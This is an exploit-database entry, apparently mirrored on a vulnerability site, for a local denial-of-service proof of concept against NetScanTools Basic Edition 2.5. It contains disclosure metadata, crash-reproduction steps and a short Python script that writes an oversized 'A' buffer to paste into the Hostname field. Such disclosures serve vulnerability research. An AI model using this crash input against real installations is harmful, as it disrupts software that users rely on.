发布 2018-07-27 漏洞条目

NetScanTools Basic Edition 2.5 – ‘Hostname’ Denial of Service (PoC)

Exploit Source

# Exploit Title: NetScanTools Basic Edition 2.5 - 'Hostname' Denial of Service (PoC)

# Discovery by: Luis Martínez

# Discovery Date: 2018-07-26

# Vendor Homepage: https://www.netscantools.com/

# Software Link : http://download.netscantools.com/nstb250.zip

# Tested Version: 2.5

# Vulnerability Type: Denial of Service (DoS) Local

# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash:

# 1.- Run python code : python NetScanTools_Basic_Edition_2.5.py

# 2.- Open NetScanTools_Basic_Edition_2.5.txt and copy content to clipboard

# 3.- Open NstBasic.exe

# 4.- Ping and Traceroute Tools

# 5.- Ping

# 6.- Paste ClipBoard on Target Hostname or IPv4 Address

# 7.- Do Ping

# 8.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 1125

f = open ("NetScanTools_Basic_Edition_2.5.txt", "w")

f.write(buffer)

f.close()

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